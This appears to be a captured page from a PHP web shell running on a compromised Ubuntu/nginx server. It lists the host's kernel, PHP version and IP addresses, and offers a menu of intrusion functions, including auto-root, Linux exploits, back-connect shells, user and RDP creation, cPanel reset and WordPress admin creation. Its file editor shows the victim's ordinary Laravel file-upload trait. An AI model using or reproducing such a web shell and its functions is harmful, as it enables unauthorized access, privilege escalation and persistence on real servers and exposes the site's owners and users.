Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api-8 /
app /
Traits /
backup /
[ HOME SHELL ]
Name
Size
Permission
Action
FileTrait.php
2.86
KB
-rw-r--r--
JsonResponseTrait.php
1.39
KB
-rw-r--r--
USStateTrait.php
1.68
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FileTrait.php
<?php namespace App\Acme; use Illuminate\Http\UploadedFile; use Image; trait FileTrait { public function uploadFile(UploadedFile $file, $path) { $imageName = $file->getClientOriginalName(); $fileName = date('Y-m-d-h-i-s') . '-' . preg_replace('[ ]', '-', $imageName); // dd($path); $file->move($path, $fileName); return $fileName; } public function unlinkFile($file) { try { if (file_exists($file)) { unlink($file); return true; } return true; }catch (\Throwable $t){ return $t->getMessage(); } return false; } public function uploadFileWithSizes(UploadedFile $file, $path, $id=null) { if(!is_null($id)) $path = $path.$id.'/'; $imageName = $file->getClientOriginalName(); $fileName = date('Y-m-d-h-i-s') . '-' . preg_replace('[ ]', '-', $imageName); $file->move($path, $fileName); $this->generateSizes($path, $fileName); return $fileName; } private function generateSizes($path, $fileName) { $sizes = $this->getStandardSizes(); $ext =$this->getExtension($fileName); $name =$this->getFileNameOnly($fileName); $fullPath = $path.$fileName; $img = Image::make($fullPath); foreach ($sizes as $width) { $imgNew = $img->resize($width, null, function ($constraint) { $constraint->aspectRatio(); }); $newFileName = $name.'-'.$width.'.'.$ext; $newFilePath = $path.$newFileName; $imgNew->save($newFilePath); } } public function unlinkDirectory($path, $id) { try { if(!is_null($id)) { $path = $path.$id.'/*'; array_map( 'unlink', array_filter((array) glob($path) ) ); return true; } return false; } catch (\Throwable $th) { return false; } } private function getStandardSizes(){ //return [170, 270, 370, 470, 570, 670, 770]; return [576, 768, 992, 1200]; } private function getExtension($fileName) { return pathinfo($fileName, PATHINFO_EXTENSION); } private function getFileNameOnly($fileName) { return pathinfo($fileName, PATHINFO_FILENAME); } public function getImageSrcSet($path, $id, $fileName) { $path = $path.$id.'/'; $sizes = $this->getStandardSizes(); $ext =$this->getExtension($fileName); $name =$this->getFileNameOnly($fileName); $src = []; foreach ($sizes as $width) { $imgPath = $path.$name.'-'.$width.'.'.$ext; $fullPath = asset($imgPath); $src[] =$fullPath .' '.$width.'w'; } return implode(', ', $src); } }
Close